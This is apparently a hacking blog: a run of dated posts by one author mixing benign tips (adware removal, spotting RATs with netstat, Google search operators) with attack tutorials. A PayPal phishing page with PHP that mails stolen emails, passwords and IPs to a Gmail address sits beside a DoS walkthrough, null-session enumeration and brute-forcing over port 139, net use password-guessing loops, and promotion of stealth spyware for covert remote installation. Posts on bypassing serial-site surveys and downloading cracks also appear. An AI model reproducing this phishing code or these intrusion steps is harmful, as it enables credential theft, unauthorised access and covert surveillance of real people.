Getting Rid from Adwares and Spywares

Do you consider yourself a smart Web Surfer or downloader? Do you consider yourself immune to threat from spywares, known for tracking and monitoring you silently. Then I must say you are not. To support this, let me figure out some points-

1.   Most commonly they are installed on our system as a hidden program, behind something legitimate which you had given permission. They may be in form of installation programs, or drive by downloads, i.e. asking you for a plugin in order to view a page.

2.   Unlike other programs, these spywares always work in stealth mode so that you can never got to know about the program. You would not even see them in task manager, in add/remove programs, etc.

3.   Popups, unwanted websites, unknown errors, slower pc, are very clear indication of spywares.

Guess why someone would create adware or spywares? A simple thought, they can send you unwanted ads for which they can be paid by the companies thy advertise for, or they can report your name, email address, and other information to a survey company. 

Now lets talk about the removal of adware. The methodology which most of the adware/spyware removal tools use is similar to antiviruses. They also maintain a library of spyware filenames and registry keys and then searching and removing them from systems. 

However the first thing I would suggest you to install is a firewall so that no one can get access to your system. This would even work in the case when your system is already infected.  In fact most of the operating systems nowadays comes with default firewalls within them. Some other firewalls that may of your interest are :

a.     Zone Alarm [http://www.zonealarm.com]

b.     Sygate Personal Pro [http://www.tucows.com/thankyou.html?swid=213160]

c.      Kerio Personal Firewall

d.     AVG Internet Security Firewall [http://www.avg.com/us-en/home-small-office-security]

But again I would say that getting a good firewall do not ends the story. Its just a part of solution. Besides frewalls, you must also use one or more anti-spywares to check your system for current infections. As an add-on safety, I would recommend you o use spyware removal tools to make your system more infection free. These all are useful for this task:

a.     Spybot [http://spybot-virus-scan.com]

b.     Webroot Spy Sweeper [http://webroot.com/wb/products/spysweeper]

c.     Spyware Doctor [http://pctools.com/spyware-doctor]

d.     Bazooka [http://www.kephyr.com/spywarescanner]

e.     Hijack This [http://spychecker.com/program/hijackthis.html] [Advanced Users]

Some of them can even deal with the things in which antiviruses do not takes interest. These things include ad-ware, Trojans, key loggers, track wares, etc. Along with scanning part, they would tell you how to uninstall them these potentially unwanted apps, and that’s too with step by step instructions.

 

I assures you going ahead with this procedure will simply make you immune to spyware and ad wares, apart from your expertise in web surfing.

12:52 PM by Shubham Mittal · 0

Byepass Youserials.com Surveys fr gettin Serial Codes.

Well, most of the time you need some serial key and go out with your brains while searching that.

There aremany sites like serials.ws, theserials.be, keygenguru.com, n blah blah.

But the site which i prefer is Youserials.com (cos most of their serials really works.)

But the prob is from the last some months, it had added some "Survey" called thing before they give you the serials.

So, here is the trickery to Pass it.. :)

Its like..

1. Go to Youserials.com.

2. Copy Link location of any of the serial you want to look through.

3. Paste this link anywhere, say notepad of bieng lazy , say in address bar itself. :P

4. Now type this in address bar --- "http://www.youserials.com/jq_serial.php?id=XXXXXX" obviously without quotes.. 

XXXXXX represents the Serial code, which you would find in the last some alphabets of the link you copied in step 3.


N voila, you are done .. :)

4:06 PM by Shubham Mittal · 1

How To Check Whether You are Victim of RATS or not ?

In this post i am going to show you how to find out when you are infected with a RAT or Keylogger, without using any complex tools. Now i believe most of you might know that you need to have an internet connection to make a RAT or a Keylogger work, which would mean, if you are not connected to internet, you don't have to worry about being infected with RAT or Keylogger. Ok, so for those who have internet connection and think they are being infected with a Trojan, here is a little guide that can solve your problem.

1. Now every program has their own process which can be seen on task manager. So the first thing to do is to find out which process the Trojan is being attached to. If you see some unknown process search that on google. A good hacker will always makes sure he hides its process with a Windows based Process, for eg. svchost.exe or something like that.

2. If you cant find, then the next thing you can do is use cmd (to open cmd prompt, Click on Start--->Accessories-->Command prompt).

3. Once Command Prompt is opened, use this command: netstat -an |find /i "listening"

Note: The NETSTAT command will show you whatever ports are open or in use, but it is NOT a port scanning tool!

Now we wonder What this Command does? This command will show all the opening ports. Now check for any unknown port.

4. You can skip step 3 if you want, and can do this instead.

Open command prompt and type netstat -b


Now this command will show you the active connections with the process with their PID (Process Identifier) and also the packets.
Look out for SYN Packets and the Foreign address its been connecting with , check the process its been associated with, check the ports also. If you find that its connecting to some unknown ports, then you can say you have been backdoored.

5. Go to your task manager. On the top of it, click on View---> select Column---> Tick on PID (Process Identifier).
Match the suspicious Process with the Processes In task manager, check PID also.


Now most of the RATs resides on Start up. How to delete them from start up?

a) Go to regedit ---> HKLM\Software\Microsoft\Windows\Current version\Run
On the Right hand side, check for the process name which you find on step 4. if its not their. Check at
HKCU\Software\Microsoft\Windows\Current Version\Run
OR
Open Cmd prompt & type start msconfig. Go to Startup tab, you can check the startup process there.


I hope This Tutorial was easy and comprehensive.

10:50 AM by Shubham Mittal · 0

Remote PC Spying With Spytech SpyAgent

Need to track your computer users and monitor activities at all times? Ever need to keep tabs on your child or spouse while they use your computer? Are your employees abusing work hours? Spytech SpyAgent is an award winning, powerful computer spy software that allows you to monitor everything users do on your computer - in total stealth.

Why Spytech SpyAgent?

Spytech SpyAgent Professional is a powerful monitoring solution with tons of features and configuration options and support for dual monitor screen logging. SpyAgent Professional records keystrokes, windows opened, applications ran, passwords used, internet connections, websites visited, emails sent and received and even captures desktop screenshots that can be viewed as a slideshow to replay desktop activity. The program keeps detailed activity logs and can be configured to automatically email a log file to a specified address every X minutes. An easy to use and fully featured utility.

SpyAgent runs in total stealth (if chosen) and has a the most robust feature-set available on the market - all accessible from an easy to use interface.

SpyAgent has built in log delivery for REMOTE monitoring from afar - as long as you have access to your email.

SpyAgent has a very large list of features. Below is a list of SpyAgent's extensive features:



Spytech SpyAgent comes equipped with an enriched set of robust features rarely seen in its competition. The application is a reliable and surprisingly affordable tool for both home and business users.

Click Here to Download SpyAgent

10:45 AM by Shubham Mittal · 0

How to Monitor a Computer from Anywhere - Remote Spy Software

Computer monitoring software (also known as spy software or surveillance software) is software which monitors and records activities of a computer system. This activity usually includes keystrokes, chats, emails and other Internet and local activity. Today there are many reasons why you may want to monitor computer activity. Here are just a few:

• Employee monitoring- are they doing work or surfing the net?
• Child monitoring - are they viewing adult or pornographic material? Are they chatting with strangers?
• Law enforcement - trying to catch a criminal or a terrorist?

SniperSpy is the industry leading Remote PC Spy software combined with the Remote Install and Remote Viewing feature. I’ve tested it last couple of days and must say that if you need to know every small detail of what is going on your PC – this tool is just what you need.

SniperSpy is remotely-deployable spy software. This type of computer program records the activities of children or employees whom use your remote PC. The software can be installed using the Internet by sending an email attachment which contains a module.

When the module is ran by your child or employee, the software silently installs onto your remote PC. It records an array of Internet activities which you'll be able to view in real time. It also allows you to view the full screen and perform control commands.

When you want to view the screen or browse the logged results, simply login to the Secure Online Control Panel and enter your username and password. This panel allows you to view the screen, perform commands, search the logs or uninstall the software.

How the Program Works


SniperSpy Top Features:

1. SniperSpy is remotely-deployable spy software
2. Invisibility Stealth Mode Option. Works in complete stealth mode. Undetectable!
3. Logs All Keystrokes
4. Records any Password (Email, Login, Instant Messenger etc.)
5. Remote Monitor Entire IM Conversations so that you can spy on IM activities too
6. Captures a full-size jpg picture of the active window however often you wish
7. Real Time Screen Viewer
8. Remotely reboot or shutdown the PC or choose to logoff the current Windows user
9. Completely Bypasses any Firewall

This high-tech spy software will allow you to see exactly what happens on your remote PC while you are away. Deployment is not a problem because the small (81kb) module file can be renamed to anything you want and dropped inside a Word, Wordpad, Works or Zip file. This makes the remote installation very easy and stealth. SniperSpy completely bypasses any firewall, even the Windows XP, Vista and 7 firewalls!


Click Here to Download SniperSpy

Download SniperSpy for Mac

10:41 AM by Shubham Mittal · 1

Use Sourceforge As your Free File Hosting Service.

Here is the way on how you can simply use Sourceforge.net site for uploading your own files by using a simple flew in their validations

1) Go to

http://sourceforge.net/

2) Create a account:

https://sourceforge.net/account/registration/

3) After you created a account, and are already logged in, click Create Project on top:

https://sourceforge.net/register-project/

4) This is the impotent part. You have to think of some fake open source project so sourceforge approves it. Sourceforge doesn't screen the applications too much, but here is a good example

Project name:

This must be given some time..u really need to emphasise on it, otherwise they

would reject your Project.

i used "ZZ Packer Open Source" and they passed it withing seconds.

Description:

ZZ Packer is a open source executable packing solution that will help people

secure their executable files and not have to go for the other expensive

packers.

n blah blah, write watvr u want to , but that must indicate them that your project is really goin on..

5) Wait for them to approve you. 99% they will

6) After that go to:

https://sourceforge.net/projects/NAME OF YOUR PROJECT/

7) Click project admin -> File Manager

8) Enjoy :-) hacking, Enjoy Hackplanet.

5:13 AM by Shubham Mittal · 0

How To Check Whether You Are Secure or Not.. Lamers Trick

TOOLS REQUIRED :

>>Port Scanner<<
>>rDos<<
(click on them to Download)

Step One: First we need to find the websites IP Adress. This is very easy todo.

Ok so say they URL is http://www.yoursite.com ok now that you have your URL open Up Cmd todo this press Start>Run>cmd Once you have CMD open you type ping http://www.yoursite.com press enter and you will get the ip of the website. (YOU MUST REMOVE HTTP:// AND ANY /'s).

EXAMPLE:

Step Two: Now we must test to see if port 80 is open (it usually is).

This is very easy todo to Ok open up the port scanner you downloaded.
Once in the port scanner type in your Victims ip that you got from step 1.
It will ask you to do a range scan or a full scan (SELECT REANGE SCAN!) It will ask for conformaition you have to use a capital Y or a capital N! Now enter 79 for lowest port and 81 for highest hit enter than hit cap Y.

[X] = Closed
[X] Vulnerable = Open

EXAMPLE:

Step Three:

The final and easiest step (IF PORT 80 IS CLOSED PICK A NEW SITE!)
If port 80 is open your on your way to crashing!!

Ok open Up rDos that you download.
Enter the ip that we got from step 1.
It will ask you for the port to attack use port 80 that is why we scaned to make sure 80 was open! If it is closed it will not work.
Hit enter.. *=Flooding -=Crashed Or didn't connect!

EXAMPLE:

The site won't be directly offline!!
it starts with ***********
be patiend.. after some time it will go like this: **********-----------

that means the site crashed.

Thanks for reading i hope this helps. IF you have Any Queries Ask Them.

7:34 AM by Shubham Mittal · 0

How To Byepass Capctha Word verification

 If you don't know what Captcha is ,It is an acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart". Entering Captcha is very  annoying  for everyone.It used to safe from bots and Spammers .You can Bypass captcha in many waysThere are various firefox Plugins which can be used for bypass procees.Check this out


1.SkipScreen

skips unnecessary pages on sites like Rapidshare, Megaupload, zShare, Mediafire, and more. Try it out, or watch a demo at skipscreen.com.SkipScreen will be tenaciously maintained and improving all the time. Why Clickthrough ad-laden pages and wait for countdowns when your computer can do it for you?

Supported sites:
Rapidshare.com
zShare.net
MediaFire.com
Megaupload.com
 Sharebee.com
 Depositfiles.com
 Sendspace.com
 Divshare.com
 Linkbucks.com
 Uploaded.to
 Hotfiles.com
 4shared.com

many more...

Download It From here

https://addons.mozilla.org/en-US/firefox/addon/11243/

 

10:36 PM by Shubham Mittal · 0

How To Guess A Password : Methodology

When password guessing is successful, it is usually because people like to use easy to remember words and phrases. A diligent penetration tester or attacker will look for subtle clues throughout the enumeration process to key in onprobably words or phrases the account holder might have used for a password. What do you know about this individual, what are his hobbies? If the account holder is not known to you, focus on accounts that

• Haven't had password changes for a long time
• Weakly protected service accounts
• Poorly shared accounts
• Indicate the user has never logged in
• Have information in the comment field that might be used to compromise password security

If you can identify such an account, the net use command can be issued from the command line to attempt the connection:

Net use * \\target_IP\share * /u:name

You'll be prompted for a password to complete the authentication.

C:\>net use * \\192.188.13.10\c$ * /u:jack
Type the password for \\172.20.10.79\c$:
The command completed successfully

It's not always that easy, so you might have to try multiple times or even consider looping the process. Performing automated password guessing can be performed by constructing a simple loop using the NT/2000/XP shell. It is based on the standard NET USE syntax. The steps are as follows:

1. Create a simple username and password file.
2. Pipe this file into a FOR command as follows:

   C:\> FOR /F "token=1, 2*" %i in (credentials.txt)
      do net use \\target\IPC$ %i /u: %j

Note

Make sure that you identify if there is a password lockout policy. Otherwise, you might inadvertently cause a denial of service (DoS) if you lock out all the users.

If the manual password guessing process does not work for you, there are always tools. Several tools are explored next.

Automated Password Guessing

NetBIOS Auditing Tool (NAT) is a command-line automated password guessing tool. Just build a valid list of users from the tools discussed during enumeration. Save the usernames to a text file. Now create a second list with potential passwords. Feed both of these into NAT, as follows:

nat [-o filename] [-u userlist] [-p passlist] 

NAT will attempt to use each name to authenticate with each password. If it is successful, it will halt the program at that point. Then you will want to remove that name and start again to find any additional matches. You can grab a copy of NAT at ftp://ftp.technotronic.com/microsoft/nat10bin.zip.

Legion automates the password guessing in NetBIOS sessions. Legion is a GUI tool that will scan multiple Class C IP address ranges for Windows shares and also offers a manual dictionary attack tool. It can be downloaded from www.elhacker.net/hacking.htm.

Tip

If you are not sure of the lockout policy, target the guest account first; you are notified when you reach the lockout threshold.

Hopes, u enjoy the Tut. Any Help or query. feel free to Ask.

Enjoy hacking, Enjoy Hackton

8:09 PM by Shubham Mittal · 1

Enhance Your Browsing Experience With Hyperwords

So guys , m back with an all new internet Tweak for enhancing your browsing and getting yourself diffrent from Others.
While browsing it is easy to find information that you would like to know more about, convert, or translate. The Hyperwords extension provides access to these types of resources and more in Firefox.
Using Hyperwords
Once the extension has finished installing you will be presented with a demo video that will let you learn more about how Hyperwords works.

For our first example we chose to look for more information concerning “WASP-12b” using Wikipedia. Notice the small bluish circle on the lower right of the highlighted term…it is the default access for the Hyperwords menu (access by hovering mouse over it).

If you hover over the Wikipedia (or other) link you can access the information in a scrollable popup window.

Or if you prefer click on the link to view the information in a new tab. Choose the style that best suits your needs.

Hyperwords is extremely useful for quick unit conversions.

Suppose you want to share a news story that you have found while browsing. Highlight the title, access Hyperwords, and choose your preferred sharing source.

You may need to authorize access for Hyperwords to post to your account.

Once you have authorized access you can start sharing those links very easily. This is just a small sampling of Hyperwords many useful features.

Preferences
Hyperwords has a nice set of preferences available to help you customize it. Alter the menu popup style, add or remove menu entries, and modify other functions for Hyperwords.

Conclusion
Hyperwords makes a nice addition to Firefox for anyone needing quick access to search, reference, translation, and other services while browsing.
Links
Download the Hyperwords extension (Mozilla Add-ons)
Download the Hyperwords extension (Extension Homepage)

8:47 PM by Shubham Mittal · 0

The Way On How To Search Google The Better Way

Type the following highlited words in google search box.

Google has several google operators that can help you find specific information, specific websites or inquire about the indexing of your own   site, below you will find the most important ones:   

Click on the example google trick, and You will be redirected to google.

define: - This google operator will find definitions for a certain term or  word over the Internet. Very useful when you come across a strange word when writing a post. I use this as a google dictionary. example : (define computer)

info: - The google info operator will list the sets of information that    Google has from a specific website (i.e. info:http://hack2007.50webs.com)

site: - This google operator can be used to see the number of indexed     pages on your site (i.e.site:www.hack2007.50webs.com).                  Alternative it can also be used to search for information inside a specific        site or class of sites.

link: - This google link operator allows you to find backlinks pointing         to your site. Unfortunately the count is not updated frequently and             not all backlinks are shown

allinurl: - Using this Google operator will limit the search to results         that contain the desired keywords on the URL structure. (i.e. allinurl:dailyblogtips)

fileformat: - Useful Google operator for finding specific file formats. Sometimes you know that the information you are looking for is likely to be contained in a PDF document or on a PowerPoint presentation, for instance. (i.e. “fileformat:.pdf market research” will search for PDF documents that contain the terms “market” and “research”)

Google trick -2 Top 10 Cool Google Search Tricks

well as we have gained enough knowledge regarding google operators, lets have a look at the following 10 cool google search tricks. Click on the example google trick, and You will be redirected to google.

1. Google trick to  search different file formats (keyword filetype:doc)
2. Google trick to search educational resources (keyword site:.edu) example (computer site:.edu)
3. Finding the time of any location (time romania)
4. Finding the weather of any location (boston weather)
5. Tracking commentary of live events (Olympic games Beijing 2008)
6. Using Google as a calculator (9 * 10)(143+234)(119-8)
7. Converting currencies (1 USD in INR)(10 US Dollars in Indian Rupee)
8. Find how many teaspoons are in a quarter cup (quarter cup in teaspoons)
9. how many seconds there are in a year (seconds in a year)
10. Tracking stocks (stocks:MSFT)
11. Finding faces (add imgtype=face to the URL)

google trick -3 Top Essential Google Search shortcuts

#1: Get Local Weather

Type: “weather [city name or zip/postal code]”                                                                     Example: “weather 500054″ or “weather boston”

#2: Check Flight Status

Google automagically pulls flight data from FlightStats.com. All you have to do is enter the flight number.                                                                                                                                                           Type: [flight name and/or number]                                                                                     Example: “bc254″ or “newyork21″

#3: Convert Distances

Type: “[value] [first distance unit] to [second distance unit]”                                              Example: “100 kilometers to miles”

#4: Find a Phone Number

Find a Person:

    Type: “[person’s name], [city or zip/postal code]”                                                           Example: “john smith, london”

Find a Business/store:

    Type: “[business name or type], [city or zip/postal code]”                                         Example: “book store, boston”

Google trick -4 :Google search trick for Rapidshare files search:

#1 site:rapidshare.com inurl:users "*"

#2 site:rapidshare.de inurl:users "*"

#3 site:rapidshare.com inurl:files "*"

#4 site:rapidshare.de inurl:files "*"

#5 site:rapidshare.com inurl:users (pass|password)

#6 site:rapidshare.de inurl:users (pass|password)

Suppose u need some info on ebooks. Then u can try following keyword to see all rapidshare folders having any hacking related thing in it

site:rapidshare.com inurl:users "ebooks"

10:31 PM by Shubham Mittal · 0

How To Remove Default Admin Share : Vulnerability For 139 Port

By default Windows 2000, Windows XP and WinNT automatically setup hidden admin shares (admin$, c$ and d$), this registry key will disable these hidden shares. 
When 139 port is open, one can easily create a null session by brute forcing this Share.
So, every security professional is supposed to Get Out of this , which may b done in folowing amnner.

System Key: [HKEY_LOCAL_MACHINE\ System\ CurrentControlSet\ Services\ LanmanServer\ Parameters]
Value Name: AutoShareWks
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = disable shares, 1 = enable)

This registry key actually stops the recreation of the shares, therefore it may be necessary to delete the shares through the drive properties also or you can also remove the shares through the Computer Management Console.

1. In Control Panel, double-click Administrative Tools, and then double-click Computer Management.

2. Click to expand Shared Folders, and then click Shares.

3. In the Shared Folder column, right-click the share you want to delete, click Stop sharing, and then click OK.

Note : To remove the admin share for only the current session use the second method (Computer Management console), if you want a permanent removal, add the AutoShareWks registry.

Hopes, u enjoyed this.


Any doubt or query do commenting or simply  write to upgoingstar@yahoo.co.in


Enjoy Hackton

11:11 PM by Shubham Mittal · 0

How to Find Out a remote IP

Well, this one i think is quite intersting tweak as Lot of ma students n culleagues had already asked me this one.

After having a one day research on this, i came to this much conclusion.

Well, dere r basically these known methods for Finding out One's IP Address.

So, here we go...


Method 1

To view someone's IP# when they send u hotmail email do this:
1) Click "Options" on the upper right side of the page.
2) On the left side of the page, Click "Mail"
3) Click "Mail Display Settings"
4) Under "Message Headers" select "Full" or "Advanced"
5) Click ok

Method 2
reg a dydns account and install the ip pointer, so each time u ping the host name u regestored

for example:
u regestor the host name myhost.dydns.com, then u keep a little software running on the target host. The little software will keep update ur IP to dydns.com server.

so at ur pc just start cmd, and ping myhost.dydns.com, it will give u the most updated ip address.

Method 3
neverender, what doesn't work for u? Simply type in nc -vvv -l -p 80 on ur box, which will set it to listen in verbose mode on port 80. Then give them a link to ur IP address (for example: 111.111.111.11) and tell them to type it in their browser. The browser should resolve the address as well as append port 80 automatically. Just make sure that ur friend is not very computer literate.

Method 4
Just download a very simple server such as this one and install it on ur comp. Then run it and give ur ip to the person u want and tell them to connect to it through a browser. ur server will log their connection and u will get their IP.

link:http://www.download.com/Abyss-Web-Server/3000-2165-10283992.html?tag=lst-0-6


Other Ways
-www.imchaos.com and make a "spy poll" to put in ur profile, this will tell u the IP of anybody who answers ur poll
-originalicons.com there is a page for doin it (i dont like it, but it works)
-or irc


Here is a more detailed tutorial about using NetCat.

http://www.onlamp.com/pub/a/onlamp/2003/05/29/netcat.html

Windows users can download NetCat from here:

http://www.atstake.com/research/tools/network_utilities/ 

Watsay?
HOpes u enjoy the tutorial..Commenting wud be appreciated on any kinda doubts.

Enjoy Hackton

10:41 PM by Shubham Mittal · 0

How To hack Crackdb.com For Direct Download

Some of u may nt kno this, others may already knew it, however, becos
of Sod rules which do no not allow indirect crack links, and bcos CrackDB
is a very good resource for cracks, i will show how to post links that lead
to a direct download from CrackDB. N guys, believe me its that much easy as Playing a guitar.

The CrackDB server snds the archive of a crack as an attachment 2 the respond
for an HTTP request made by ur browser, this means u (and ur browser)
will never know the real location of the file, becos of this u can't post a direct
link to the crack in ur topic.

Using the Referer variable we can overcome this problem, but what referer to
use? if u used the domain name http://www.crackdb.com/
u will get nothing but a useless image file.

The correct refere is shown on ur browser address bar. For example, if u
want the crack for IsoBuster Pro v1.6 u just type the name in the search box
and press Enter, the next page displays a list of items that match or nearly
match ur search keywords, click on IsoBuster Pro v1.6 from the list and
u are now in the download page, the hyperlink named "Download" is the
link that initiates the request to the server to download the file, which looks
like this:

http://www.crackdb.com/x.php?id=12356


The referer is now displayed on ur browser address bar, which looks like this:

http://www.crackdb.com/get.php?id=12356


Now, u use both links to refer to a direct crack download from CrackDB, like this
Fix:

http://www.crackdb.com/x.php?id=12356
Use this referer:
http://www.crackdb.com/get.php?id=12356


Any member now can copy & paste the links into his/her download manager and
start downloading immediatley.

Hopes, u guys found it interesting.

Enjoy Hackton.

Have fun.

10:35 PM by Shubham Mittal · 0

How TO Create a Fake Scam Page

Hi, lately I'm tired of seeing the various forums:

Give me some scam to Bank/s.

So I decided to write this tutorial. In it you'll learn how you can make your own scam to the desired site.

WARNING: The advance will not take me to look at it and discovered that the Earth is only for those who do not know.

OK, so first we choose a target.

We chose www.paypal.com.

Navigate the site chosen. Press CTRL + S and save the file. Html somewhere on your computer.

We open ... There might be a problem, namely the way the image.

If relative path (relative path is the path like / images / wow.gif) be transformed into an absolute path (http://tinta.com/images/wow.gif)

Now that you clarified your lead you to the file. Html that was saved, so your login type CTRL + F ... (Here the words are different .. try and password, password, username, etc.. Dak login does not work).

You have a code like <form action="login2.php">. Login2.php change in 040147.php!

Now, the username should be a code like . name = "email" tells us that in PHP script authentication is the variable that you email username.
Good memory.
The password, the code should be similar (). So, password is held in variable password. A and memorize it.

Now, where you have saved. Html, created a new file called 040147.php.

In it, add the following code:
Code:


$ To = "upgoingstar@gmail.com"
$ Name = $ _POST ['email'];
$ Email = $ _POST ['email'];
$ Subject = $ _POST ['subject'];
$ Password = $ _POST ['password'];
$ Agent = $ _SERVER ['HTTP_USER_AGENT'];
$ Ip = $ _SERVER ['REMOTE_ADDR'];
$ D = date ('l dS \ of F Y h: i: s A');
$ Sub = "New Account Hacked PayPal - $ email";
$ Headers = "From: $ name <$ email> \ n";
$ Headers .= "Content-Type: text / plain, charset = iso-8859-1 \ n";
$ Mes .= 'Username:'. $ Email. "\ N";
$ Msg .= "Password:". $ Password. "\ N";
$ Msg .= "Browser:". $ Agent. "\ N";
$ Msg .= "IP:". $ Ip. "\ N";
$ Mes .= 'Date and time:'. $ D;


(
mail ($ to, $ sub, $ mes, $ headers);
header ("Location: www.paypal.com");

    
)
?>

Modify code
Code:

$ To = "upgoingstar@gmail.com"

and put your mail. The code above variables over email and password and sends them together with some more useful details.

Rename. Or HTML into index.html. Php, you upload the 2 files on a host and entertain. : Wink:

10:14 PM by Shubham Mittal · 0

How To hack A Computer In A LAN By Creating a Null Session

Today,I will write about hacking computer inside the LAN network.

This technique will be taking advantage of Port 139.

Most of the time,Port 139 will be opened.

First of all,I will do a port scanning at the target computer which is 192.168.40.128.

This computer is inside my LAN network.

I will scan it using Nmap.

I get the result and it shows Port 139 is opened up for me.

Now you will need both of these tools:

** USER2SID & SID2USER

** NetBios Auditing Tool

You can get both of them on the Internet.

After you get both of them,put them in the C:\ directory

You now need to create a null session to the target computer.

Now open the Command Prompt and browse to the USER2SID & SID2USER folder.There will be 2 tools inside it,one will be USER2SID and another one will be SID2USER.

We will first using USER2SID to get the ID.

We will test against the Guest account because Guest account is a built in account.

After we get the ID,we need to do some modification on the ID.

We take the ID we get from the guest account and modified it become

"5 21 861567501 1383384898 839522115 500".

Please leave out the S-1-,leave out all the - too.

Now you will see that you get the username of the Administrator account.

In this case,the Administrator account is Administrator.

Create a text file called user.txt and the content will be the username of the Admin account.

Prepare yourself a good wordlist.

  

Now put both of them in the same directory with the NetBios Auditing Tool.

Press on enter and the tool will run through the passlist.

In this case,I have get the password.

In order to proof that I can get access to the target computer using this password.

After you press enter,it will prompt you for the username and password.

Therefore,just input them inside the prompt and continue.

Target C drive will be on your screen.

In order to prevent from this attack,close down port that you do not want to use such as Port 135,Port 136,Port 137,Port 138 and Port 139.

11:10 AM by Shubham Mittal · 0

Hack Twitter With Twitter Bot

Twitter is becoming an important marketing tool for online publishers and marketers. But it can be time consuming to keep your profile up to date and it often gets forgotten. I guess Everybody is waiting for a Solution. So Today I will give you a software which will automate all your twitter tasks.

Twitter Bot can do a lot of amazing things without any need of User Intervention thats why it is called a Bot. Why one should have this software? I would say checkout the functions of this software and you will get your answer.

Features

1. Auto add followers: The twitter bot will add 500 new friends on a daily basis. Many of those follower may follow you in return.

2. Auto Unfollow those who are not following you: It will automatically unfollow those who are not following you.

3. Auto Follow those who follow you: You can return favor to your followers by following them and that by a click of a button

4. Follow Top 100 People from your Country: You can target users from a particular Country based on Time Zones

5. Auto Follow By Keyword Search: You can target user based on Specific Keywords.

6. Auto Update your status: You can update your status every X minutes and these Updates will be fetched from a Text File.

7. Auto reply: You can set a Message which will be replied automatically on arrival of a message.

8. Multiple accounts handling: You can handle multiple Accounts. Twitter Bot can handle all of them in the background doing all the functions.

9. Works with proxies or Real IP: The twitter bot can run behind proxies. You set a text file with a list of proxies in format IP:Port (ex. 123.123.123.123:80) and the twitter bot will first check to see which of them are working, and then it will use the working ones to login to your accounts and do the functions that you neet it to do.

10. Extract and import your followers: You can extract the list of followers into XML or Text file.

11. Schedule Messages: You can schedule the Bot to Update your Twitter status on a Specified Date and Time.

12. Reply based on Keywords: You can set the Bot to reply based on the Keyword found in arrived Message.

Conclusion

After mentioning all these features I don’t need to say much about this Software. I would say just go and grab this software.

Download

To get your copy of Twitter Bot Click Here

8:02 AM by Shubham Mittal · 0